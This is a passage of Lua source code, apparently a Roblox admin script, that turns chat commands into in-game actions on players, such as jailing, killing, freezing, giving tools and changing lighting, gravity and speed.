  3640. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  3641. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  3642. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  3643. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  3644. end)
  3645. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  3646. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  3647. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  3648. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  3649. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  3650. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  3651. local msh2 = msh:Clone() msh2.Parent = back
  3652. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  3653. local msh4 = msh3:Clone() msh4.Parent = left
  3654. v.Character.Torso.CFrame = cf
  3655. end
  3656. end))
  3657. end
  3658. end
  3659.  
  3660. if msg:lower():sub(1,7) == "unjail " then
  3661. local plrz = GetPlr(plr, msg:lower():sub(8))
  3662. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  3663. end
  3664.  
  3665. if msg:lower():sub(1,11) == "starttools " then
  3666. local plrz = GetPlr(plr, msg:lower():sub(12))
  3667. for i, v in pairs(plrz) do
  3668. coroutine.resume(coroutine.create(function()
  3669. if v and v:findFirstChild("Backpack") then
  3670. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  3671. end
  3672. end))
  3673. end
  3674. end
  3675.  
  3676. if msg:lower():sub(1,6) == "sword " then
  3677. local plrz = GetPlr(plr, msg:lower():sub(7))
  3678. for i, v in pairs(plrz) do
  3679. coroutine.resume(coroutine.create(function()
  3680. if v and v:findFirstChild("Backpack") then
  3681. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  3682. sword.GripForward = Vector3.new(-1,0,0)
  3683. sword.GripPos = Vector3.new(0,0,-1.5)
  3684. sword.GripRight = Vector3.new(0,1,0)
  3685. sword.GripUp = Vector3.new(0,0,1)
  3686. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  3687. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  3688. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  3689. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  3690. local Damage = 15
  3691. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  3692. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  3693. SlashSound.Volume = 1
  3694. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  3695. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  3696. LungeSound.Volume = 1
  3697. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  3698. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  3699. UnsheathSound.Volume = 1
  3700. local last = 0
  3701. script.Parent.Handle.Touched:connect(function(hit)
  3702. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  3703. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  3704. hit.Parent.Humanoid:TakeDamage(Damage)
  3705. end
  3706. end)
  3707. script.Parent.Activated:connect(function()
  3708. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  3709. script.Parent.Enabled = false
  3710. local tick = game:service("RunService").Stepped:wait()
  3711. if tick - last <= .2 then
  3712. LungeSound:play()
  3713. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  3714. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  3715. wait(.2)
  3716. script.Parent.GripForward = Vector3.new(0,0,1)
  3717. script.Parent.GripRight = Vector3.new(0,-1,0)
  3718. script.Parent.GripUp = Vector3.new(-1,0,0)
  3719. wait(.3)
  3720. frc:Destroy() wait(.5)
  3721. script.Parent.GripForward = Vector3.new(-1,0,0)
  3722. script.Parent.GripRight = Vector3.new(0,1,0)
  3723. script.Parent.GripUp = Vector3.new(0,0,1)
  3724. else
  3725. SlashSound:play()
  3726. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  3727. end
  3728. last = tick
  3729. script.Parent.Enabled = true
  3730. end)
  3731. script.Parent.Equipped:connect(function(mouse)
  3732. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  3733. UnsheathSound:play()
  3734. script.Parent.Enabled = true
  3735. if not mouse then return end
  3736. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  3737. end)]] cl.Disabled = false
  3738. end
  3739. end))
  3740. end
  3741. end
  3742.  
  3743. if msg:lower():sub(1,6) == "clone " then
  3744. local plrz = GetPlr(plr, msg:lower():sub(7))
  3745. for i, v in pairs(plrz) do
  3746. coroutine.resume(coroutine.create(function()
  3747. if v and v.Character then
  3748. v.Character.Archivable = true
  3749. local cl = v.Character:Clone()
  3750. table.insert(objects,cl)
  3751. cl.Parent = game.Workspace
  3752. cl:MoveTo(v.Character:GetModelCFrame().p)
  3753. cl:MakeJoints()
  3754. v.Character.Archivable = false
  3755. end
  3756. end))
  3757. end
  3758. end
  3759.  
  3760. if msg:lower():sub(1,8) == "control " then
  3761. local plrz = GetPlr(plr, msg:lower():sub(9))
  3762. for i, v in pairs(plrz) do
  3763. coroutine.resume(coroutine.create(function()
  3764. if v and v.Character then
  3765. v.Character.Humanoid.PlatformStand = true
  3766. local w = Instance.new("Weld", plr.Character.Torso )
  3767. w.Part0 = plr.Character.Torso
  3768. w.Part1 = v.Character.Torso
  3769. local w2 = Instance.new("Weld", plr.Character.Head)
  3770. w2.Part0 = plr.Character.Head
  3771. w2.Part1 = v.Character.Head
  3772. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  3773. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  3774. w3.Part1 = v.Character:findFirstChild("Right Arm")
  3775. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  3776. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  3777. w4.Part1 = v.Character:findFirstChild("Left Arm")
  3778. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  3779. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  3780. w5.Part1 = v.Character:findFirstChild("Right Leg")
  3781. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  3782. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  3783. w6.Part1 = v.Character:findFirstChild("Left Leg")
  3784. plr.Character.Head.face:Destroy()
  3785. for i, p in pairs(v.Character:children()) do
  3786. if p:IsA("BasePart") then
  3787. p.CanCollide = false
  3788. end
  3789. end
  3790. for i, p in pairs(plr.Character:children()) do
  3791. if p:IsA("BasePart") then
  3792. p.Transparency = 1
  3793. elseif p:IsA("Hat") then
  3794. p:Destroy()
  3795. end
  3796. end
  3797. v.Character.Parent = plr.Character
  3798. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  3799. end
  3800. end))
  3801. end
  3802. end
  3803.  
  3804. if msg:lower():sub(1,5) == "kill " then
  3805. local plrz = GetPlr(plr, msg:lower():sub(6))
  3806. for i, v in pairs(plrz) do
  3807. coroutine.resume(coroutine.create(function()
  3808. if v and v.Character then v.Character:BreakJoints() end
  3809. end))
  3810. end
  3811. end
  3812.  
  3813. if msg:lower():sub(1,8) == "respawn " then
  3814. local plrz = GetPlr(plr, msg:lower():sub(9))
  3815. for i, v in pairs(plrz) do
  3816. coroutine.resume(coroutine.create(function()
  3817. if v and v.Character then v:LoadCharacter() end
  3818. end))
  3819. end
  3820. end
  3821.  
  3822. if msg:lower():sub(1,5) == "trip " then
  3823. local plrz = GetPlr(plr, msg:lower():sub(6))
  3824. for i, v in pairs(plrz) do
  3825. coroutine.resume(coroutine.create(function()
  3826. if v and v.Character and v.Character:findFirstChild("Torso") then
  3827. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  3828. end
  3829. end))
  3830. end
  3831. end
  3832.  
  3833. if msg:lower():sub(1,5) == "stun " then
  3834. local plrz = GetPlr(plr, msg:lower():sub(6))
  3835. for i, v in pairs(plrz) do
  3836. coroutine.resume(coroutine.create(function()
  3837. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3838. v.Character.Humanoid.PlatformStand = true
  3839. end
  3840. end))
  3841. end
  3842. end
  3843.  
  3844. if msg:lower():sub(1,7) == "unstun " then
  3845. local plrz = GetPlr(plr, msg:lower():sub(8))
  3846. for i, v in pairs(plrz) do
  3847. coroutine.resume(coroutine.create(function()
  3848. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3849. v.Character.Humanoid.PlatformStand = false
  3850. end
  3851. end))
  3852. end
  3853. end
  3854.  
  3855. if msg:lower():sub(1,5) == "jump " then
  3856. local plrz = GetPlr(plr, msg:lower():sub(6))
  3857. for i, v in pairs(plrz) do
  3858. coroutine.resume(coroutine.create(function()
  3859. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3860. v.Character.Humanoid.Jump = true
  3861. end
  3862. end))
  3863. end
  3864. end
  3865.  
  3866. if msg:lower():sub(1,4) == "sit " then
  3867. local plrz = GetPlr(plr, msg:lower():sub(5))
  3868. for i, v in pairs(plrz) do
  3869. coroutine.resume(coroutine.create(function()
  3870. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  3871. v.Character.Humanoid.Sit = true
  3872. end
  3873. end))
  3874. end
  3875. end
  3876.  
  3877. if msg:lower():sub(1,10) == "invisible " then
  3878. local plrz = GetPlr(plr, msg:lower():sub(11))
  3879. for i, v in pairs(plrz) do
  3880. coroutine.resume(coroutine.create(function()
  3881. if v and v.Character then
  3882. for a, obj in pairs(v.Character:children()) do
  3883. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  3884. end
  3885. end
  3886. end))
  3887. end
  3888. end
  3889.  
  3890. if msg:lower():sub(1,8) == "visible " then
  3891. local plrz = GetPlr(plr, msg:lower():sub(9))
  3892. for i, v in pairs(plrz) do
  3893. coroutine.resume(coroutine.create(function()
  3894. if v and v.Character then
  3895. for a, obj in pairs(v.Character:children()) do
  3896. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  3897. end
  3898. end
  3899. end))
  3900. end
  3901. end
  3902.  
  3903. if msg:lower():sub(1,5) == "lock " then
  3904. local plrz = GetPlr(plr, msg:lower():sub(6))
  3905. for i, v in pairs(plrz) do
  3906. coroutine.resume(coroutine.create(function()
  3907. if v and v.Character then
  3908. for a, obj in pairs(v.Character:children()) do
  3909. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  3910. end
  3911. end
  3912. end))
  3913. end
  3914. end
  3915.  
  3916. if msg:lower():sub(1,7) == "unlock " then
  3917. local plrz = GetPlr(plr, msg:lower():sub(8))
  3918. for i, v in pairs(plrz) do
  3919. coroutine.resume(coroutine.create(function()
  3920. if v and v.Character then
  3921. for a, obj in pairs(v.Character:children()) do
  3922. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  3923. end
  3924. end
  3925. end))
  3926. end
  3927. end
  3928.  
  3929. if msg:lower():sub(1,8) == "explode " then
  3930. local plrz = GetPlr(plr, msg:lower():sub(9))
  3931. for i, v in pairs(plrz) do
  3932. coroutine.resume(coroutine.create(function()
  3933. if v and v.Character and v.Character:findFirstChild("Torso") then
  3934. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  3935. end
  3936. end))
  3937. end
  3938. end
  3939.  
  3940. if msg:lower():sub(1,4) == "age " then
  3941. local plrz = GetPlr(plr, msg:lower():sub(5))
  3942. for i, v in pairs(plrz) do
  3943. coroutine.resume(coroutine.create(function()
  3944. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  3945. end))
  3946. end
  3947. end
  3948.  
  3949. if msg:lower():sub(1,5) == "fire " then
  3950. local plrz = GetPlr(plr, msg:lower():sub(6))
  3951. for i, v in pairs(plrz) do
  3952. coroutine.resume(coroutine.create(function()
  3953. if v and v.Character and v.Character:findFirstChild("Torso") then
  3954. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  3955. end
  3956. end))
  3957. end
  3958. end
  3959.  
  3960. if msg:lower():sub(1,7) == "unfire " then
  3961. local plrz = GetPlr(plr, msg:lower():sub(8))
  3962. for i, v in pairs(plrz) do
  3963. coroutine.resume(coroutine.create(function()
  3964. if v and v.Character and v.Character:findFirstChild("Torso") then
  3965. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  3966. end
  3967. end))
  3968. end
  3969. end
  3970.  
  3971. if msg:lower():sub(1,6) == "smoke " then
  3972. local plrz = GetPlr(plr, msg:lower():sub(7))
  3973. for i, v in pairs(plrz) do
  3974. coroutine.resume(coroutine.create(function()
  3975. if v and v.Character and v.Character:findFirstChild("Torso") then
  3976. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  3977. end
  3978. end))
  3979. end
  3980. end
  3981.  
  3982. if msg:lower():sub(1,8) == "unsmoke " then
  3983. local plrz = GetPlr(plr, msg:lower():sub(9))
  3984. for i, v in pairs(plrz) do
  3985. coroutine.resume(coroutine.create(function()
  3986. if v and v.Character and v.Character:findFirstChild("Torso") then
  3987. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  3988. end
  3989. end))
  3990. end
  3991. end
  3992.  
  3993. if msg:lower():sub(1,9) == "sparkles " then
  3994. local plrz = GetPlr(plr, msg:lower():sub(10))
  3995. for i, v in pairs(plrz) do
  3996. coroutine.resume(coroutine.create(function()
  3997. if v and v.Character and v.Character:findFirstChild("Torso") then
  3998. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  3999. end
  4000. end))
  4001. end
  4002. end
  4003.  
  4004. if msg:lower():sub(1,11) == "unsparkles " then
  4005. local plrz = GetPlr(plr, msg:lower():sub(12))
  4006. for i, v in pairs(plrz) do
  4007. coroutine.resume(coroutine.create(function()
  4008. if v and v.Character and v.Character:findFirstChild("Torso") then
  4009. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  4010. end
  4011. end))
  4012. end
  4013. end
  4014.  
  4015. if msg:lower():sub(1,3) == "ff " then
  4016. local plrz = GetPlr(plr, msg:lower():sub(4))
  4017. for i, v in pairs(plrz) do
  4018. coroutine.resume(coroutine.create(function()
  4019. if v and v.Character then Instance.new("ForceField", v.Character) end
  4020. end))
  4021. end
  4022. end
  4023.  
  4024. if msg:lower():sub(1,5) == "unff " then
  4025. local plrz = GetPlr(plr, msg:lower():sub(6))
  4026. for i, v in pairs(plrz) do
  4027. coroutine.resume(coroutine.create(function()
  4028. if v and v.Character then
  4029. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  4030. end
  4031. end))
  4032. end
  4033. end
  4034.  
  4035. if msg:lower():sub(1,7) == "punish " then
  4036. local plrz = GetPlr(plr, msg:lower():sub(8))
  4037. for i, v in pairs(plrz) do
  4038. coroutine.resume(coroutine.create(function()
  4039. if v and v.Character then
  4040. v.Character.Parent = game:service("Lighting")
  4041. end
  4042. end))
  4043. end
  4044. end
  4045.  
  4046. if msg:lower():sub(1,9) == "unpunish " then
  4047. local plrz = GetPlr(plr, msg:lower():sub(10))
  4048. for i, v in pairs(plrz) do
  4049. coroutine.resume(coroutine.create(function()
  4050. if v and v.Character then
  4051. v.Character.Parent = game:service("Workspace")
  4052. v.Character:MakeJoints()
  4053. end
  4054. end))
  4055. end
  4056. end
  4057.  
  4058. if msg:lower():sub(1,7) == "freeze " then
  4059. local plrz = GetPlr(plr, msg:lower():sub(8))
  4060. for i, v in pairs(plrz) do
  4061. coroutine.resume(coroutine.create(function()
  4062. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4063. for a, obj in pairs(v.Character:children()) do
  4064. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  4065. end
  4066. end
  4067. end))
  4068. end
  4069. end
  4070.  
  4071. if msg:lower():sub(1,5) == "thaw " then
  4072. local plrz = GetPlr(plr, msg:lower():sub(6))
  4073. for i, v in pairs(plrz) do
  4074. coroutine.resume(coroutine.create(function()
  4075. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4076. for a, obj in pairs(v.Character:children()) do
  4077. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  4078. end
  4079. end
  4080. end))
  4081. end
  4082. end
  4083.  
  4084. if msg:lower():sub(1,5) == "heal " then
  4085. local plrz = GetPlr(plr, msg:lower():sub(6))
  4086. for i, v in pairs(plrz) do
  4087. coroutine.resume(coroutine.create(function()
  4088. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4089. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  4090. end
  4091. end))
  4092. end
  4093. end
  4094.  
  4095. if msg:lower():sub(1,4) == "god " then
  4096. local plrz = GetPlr(plr, msg:lower():sub(5))
  4097. for i, v in pairs(plrz) do
  4098. coroutine.resume(coroutine.create(function()
  4099. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4100. v.Character.Humanoid.MaxHealth = math.huge
  4101. v.Character.Humanoid.Health = 9e9
  4102. end
  4103. end))
  4104. end
  4105. end
  4106.  
  4107. if msg:lower():sub(1,6) == "ungod " then
  4108. local plrz = GetPlr(plr, msg:lower():sub(7))
  4109. for i, v in pairs(plrz) do
  4110. coroutine.resume(coroutine.create(function()
  4111. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4112. v.Character.Humanoid.MaxHealth = 100
  4113. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  4114. end
  4115. end))
  4116. end
  4117. end
  4118.  
  4119. if msg:lower():sub(1,8) == "ambient " then
  4120. local chk1 = msg:lower():sub(9):find(" ") + 8
  4121. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  4122. game.Lighting.Ambient = Color3.new(msg:sub(9,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  4123. end
  4124.  
  4125. if msg:lower():sub(1,11) == "brightness " then
  4126. game.Lighting.Brightness = msg:sub(12)
  4127. end
  4128.  
  4129. if msg:lower():sub(1,5) == "time " then
  4130. game.Lighting.TimeOfDay = msg:sub(6)
  4131. end
  4132.  
  4133. if msg:lower():sub(1,9) == "fogcolor " then
  4134. local chk1 = msg:lower():sub(10):find(" ") + 9
  4135. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  4136. game.Lighting.FogColor = Color3.new(msg:sub(10,chk1-1),msg:sub(chk1+1,chk2-1),msg:sub(chk2+1))
  4137. end
  4138.  
  4139. if msg:lower():sub(1,7) == "fogend " then
  4140. game.Lighting.FogEnd = msg:sub(8)
  4141. end
  4142.  
  4143. if msg:lower():sub(1,9) == "fogstart " then
  4144. game.Lighting.FogStart = msg:sub(10)
  4145. end
  4146.  
  4147. if msg:lower():sub(1,7) == "btools " then
  4148. local plrz = GetPlr(plr, msg:lower():sub(8))
  4149. for i, v in pairs(plrz) do
  4150. coroutine.resume(coroutine.create(function()
  4151. if v and v:findFirstChild("Backpack") then
  4152. local t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  4153. local t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  4154. local t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  4155. local t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  4156. local cl4 = script.LocalScriptBase:Clone() cl4.Parent = t4 cl4.Code.Value = [[
  4157. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer:findFirstChild("PlayerGui")
  4158. local sb
  4159. local hs
  4160. local pdist
  4161.  
  4162. script.Parent.Selected:connect(function(mouse)
  4163. if not mouse then return end
  4164. sb = Instance.new("SelectionBox", game.Players.LocalPlayer.PlayerGui) sb.Color = BrickColor.new("Bright blue") sb.Adornee = nil
  4165. hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
  4166. mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
  4167. hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
  4168. hs.MouseButton1Down:connect(function() pdist = 0 end)
  4169. end)
  4170.  
  4171. script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
  4172. end
  4173. end))
  4174. end
  4175. end
  4176.  
  4177. if msg:lower():sub(1,12) == "startergive " then
  4178. local chk1 = msg:lower():sub(13):find(" ") + 12
  4179. local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
  4180. for i, v in pairs(plrz) do
  4181. coroutine.resume(coroutine.create(function()
  4182. if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then
  4183. for a, tool in pairs(game.Lighting:children()) do
  4184. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  4185. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
  4186. end
  4187. end
  4188. end
  4189. end))
  4190. end
  4191. end
  4192.  
  4193. if msg:lower():sub(1,5) == "give " then
  4194. local chk1 = msg:lower():sub(6):find(" ") + 5
  4195. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4196. for i, v in pairs(plrz) do
  4197. coroutine.resume(coroutine.create(function()
  4198. if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then
  4199. for a, tool in pairs(game.Lighting:children()) do
  4200. if tool:IsA("Tool") or tool:IsA("HopperBin") then
  4201. if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
  4202. end
  4203. end
  4204. end
  4205. end))
  4206. end
  4207. end
  4208.  
  4209. if msg:lower():sub(1,12) == "removetools " then
  4210. local plrz = GetPlr(plr, msg:lower():sub(13))
  4211. for i, v in pairs(plrz) do
  4212. coroutine.resume(coroutine.create(function()
  4213. if v and v.Character and v:findFirstChild("Backpack") then
  4214. for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  4215. for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
  4216. end
  4217. end))
  4218. end
  4219. end
  4220.  
  4221. if msg:lower():sub(1,5) == "rank " then
  4222. local chk1 = msg:lower():sub(6):find(" ") + 5
  4223. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4224. for i, v in pairs(plrz) do
  4225. coroutine.resume(coroutine.create(function()
  4226. if v and v:IsInGroup(msg:sub(chk1+1)) then
  4227. Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
  4228. elseif v and not v:IsInGroup(msg:sub(chk1+1))then
  4229. Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
  4230. end
  4231. end))
  4232. end
  4233. end
  4234.  
  4235. if msg:lower():sub(1,7) == "damage " then
  4236. local chk1 = msg:lower():sub(8):find(" ") + 7
  4237. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  4238. for i, v in pairs(plrz) do
  4239. coroutine.resume(coroutine.create(function()
  4240. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4241. v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
  4242. end
  4243. end))
  4244. end
  4245. end
  4246.  
  4247. if msg:lower():sub(1,5) == "grav " then
  4248. local plrz = GetPlr(plr, msg:lower():sub(6))
  4249. for i, v in pairs(plrz) do
  4250. coroutine.resume(coroutine.create(function()
  4251. if v and v.Character and v.Character:findFirstChild("Torso") then
  4252. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  4253. end
  4254. end))
  4255. end
  4256. end
  4257.  
  4258. if msg:lower():sub(1,8) == "setgrav " then
  4259. local chk1 = msg:lower():sub(9):find(" ") + 8
  4260. local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
  4261. for i, v in pairs(plrz) do
  4262. coroutine.resume(coroutine.create(function()
  4263. if v and v.Character and v.Character:findFirstChild("Torso") then
  4264. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  4265. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  4266. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
  4267. end
  4268. end))
  4269. end
  4270. end
  4271.  
  4272. if msg:lower():sub(1,7) == "nograv " then
  4273. local plrz = GetPlr(plr, msg:lower():sub(8))
  4274. for i, v in pairs(plrz) do
  4275. coroutine.resume(coroutine.create(function()
  4276. if v and v.Character and v.Character:findFirstChild("Torso") then
  4277. for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
  4278. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
  4279. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
  4280. end
  4281. end))
  4282. end
  4283. end
  4284.  
  4285. if msg:lower():sub(1,7) == "health " then
  4286. local chk1 = msg:lower():sub(8):find(" ") + 7
  4287. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  4288. for i, v in pairs(plrz) do
  4289. coroutine.resume(coroutine.create(function()
  4290. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4291. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  4292. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  4293. end
  4294. end))
  4295. end
  4296. end
  4297.  
  4298. if msg:lower():sub(1,6) == "speed " then
  4299. local chk1 = msg:lower():sub(7):find(" ") + 6
  4300. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  4301. for i, v in pairs(plrz) do
  4302. coroutine.resume(coroutine.create(function()
  4303. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  4304. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  4305. end
  4306. end))
  4307. end
  4308. end
  4309.  
  4310. if msg:lower():sub(1,5) == "team " then
  4311. local chk1 = msg:lower():sub(6):find(" ") + 5
  4312. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  4313. for i, v in pairs(plrz) do
  4314. coroutine.resume(coroutine.create(function()
  4315. if v and game:findFirstChild("Teams") then
  4316. for a, tm in pairs(game.Teams:children()) do
  4317. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  4318. end
  4319. end
  4320. end))
  4321. end
  4322. end
  4323.  
